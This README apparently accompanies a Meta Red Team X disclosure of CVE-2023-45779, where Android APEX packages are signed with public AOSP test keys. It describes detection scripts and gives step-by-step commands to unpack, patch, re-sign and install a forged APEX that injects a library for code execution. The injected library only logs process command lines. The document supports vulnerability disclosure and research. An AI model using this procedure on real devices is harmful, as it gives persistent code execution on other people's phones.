metaredteam/rtx-cve-2023-45779Proof-of-concept code for Android APEX key reuse vulnerability
This repository is provided AS IS to accompany a Meta Red Team X vulnerability disclosure. It is not an official Meta project and will not be supported like one.
A set of scripts and artifacts that demonstrate detection and exploitation of Android devices that ship APEXes signed with test keys from AOSP. See our blog post "Missing signs: how several brands forgot to secure a key piece of Android" for full details of the issue.
apex-checker/: A set of Bash scripts to save digests of known test keys
and check APEXes en masse for signatures from those keys.apex-forger/: Lightweight wrappers around AOSP's apexer and
deapexer tools that make it easy to unpack, modify, and repack an APEX.
Like apktool for APEXes.vndk-libt/: Source code for a library we added to a vulnerable APEX to
prove we can get code execution. All it does is print the command line of
each process that loads it to logcat.m apexer deapexer apksigner to build the needed tools.envsetup.sh (the one here, not the one in AOSP) to point $AOSP
and $ANDROID_HOST_OUT to the appropriate places.adb shell getprop ro.build.version.sdk and adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex.
If not, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex,
where <NN> is ro.vndk.version.apex-checker/check.sh vndk.apex. If
the output doesn't start with "OI" (indicating both the outer and the inner
signatures are from test keys), this PoC cannot be used (although that does
not guarantee the device is secure, as other APEXes may still be vulnerable).The hashes in apex-checker/apk-keys.txt and apex-checker/avb-keys.txt
correspond to the outer and inner test keys for the following APEXes. Note that
there are also -goog variants of those two lists, which were created by
Google after our initial report. Those lists are in general more complete, but
we do not know exactly which keys they contain.
apex-forger/unpack.sh vndk.apex vndk.libutils.so in the extracted APEX to load our injected
libt.so: git apply --directory=vndk vndk-libt/libutils-v31.patch. If
that doesn't work (e.g. different VNDK version), use a hex editor to
manually change libc.so to libt.so in the appropriate DT_NEEDED of
vndk/payload/lib64/libutils.so.libt.so by running ndk-build inside vndk-libt/. Copy
vndk-libt/libs/arm64-v8a/libt.so to vndk/payload/lib64/libt.so.canned_fs_config from apex_build_info.bp. There's no tool to do
this easily: the closest is protoc --decode_raw <vndk/apex_build_info.bp
followed by manually unescaping field #3. Place canned_fs_config in
vndk/.canned_fs_config, like all the others, for /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC log messages, each from a process we can execute
code in.